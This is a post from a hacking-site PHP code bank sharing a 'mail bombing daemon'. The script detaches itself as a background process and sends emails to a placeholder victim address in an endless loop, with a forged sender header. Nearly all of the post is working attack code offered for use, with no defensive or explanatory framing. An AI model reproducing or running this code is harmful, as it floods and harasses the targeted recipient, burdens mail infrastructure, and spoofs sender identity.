Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Mail Bombing Daemon - PHP Code Bank


Mail Bombing Daemon
It's a mail bomber that runs as a background process. It keeps running until you kill the process. Change the mail function at the bottom as needed.
                <?php
	//Set the ticks
	declare(ticks = 1);
	
	//Fork the current process
	$processID = pcntl_fork();
	
	//Check to make sure if forked ok.
	if ( $processID == -1 ) {
		echo "\n Error:  The process failed to fork. \n";
	} else if ( $processID ) {
		//This is the parent process.
		exit;
	} else {
		//We're now in the child process.
	}
	
	//Now, we detach from the terminal window, so that we stay alive when
	//it is closed.
	if ( posix_setsid() == -1 ) {
		echo "\n Error: Unable to detach from the terminal window. \n";
	}
	
	//Get out process id now that we've detached from the window.
	$posixProcessID = posix_getpid();
	
	//Create a new file with the process id in it.
	$filePointer = fopen( "/var/run/phpprocess.pid" , "w" );
	fwrite( $filePointer , $posixProcessID );
	fclose( $filePointer );
	
	//Now mail something forever.
	while (true) {
    mail("victim@email.com", "subject", "message", "from: canbe@faked.com");
	}
?>

            
Comments
Sorry but there are no comments to display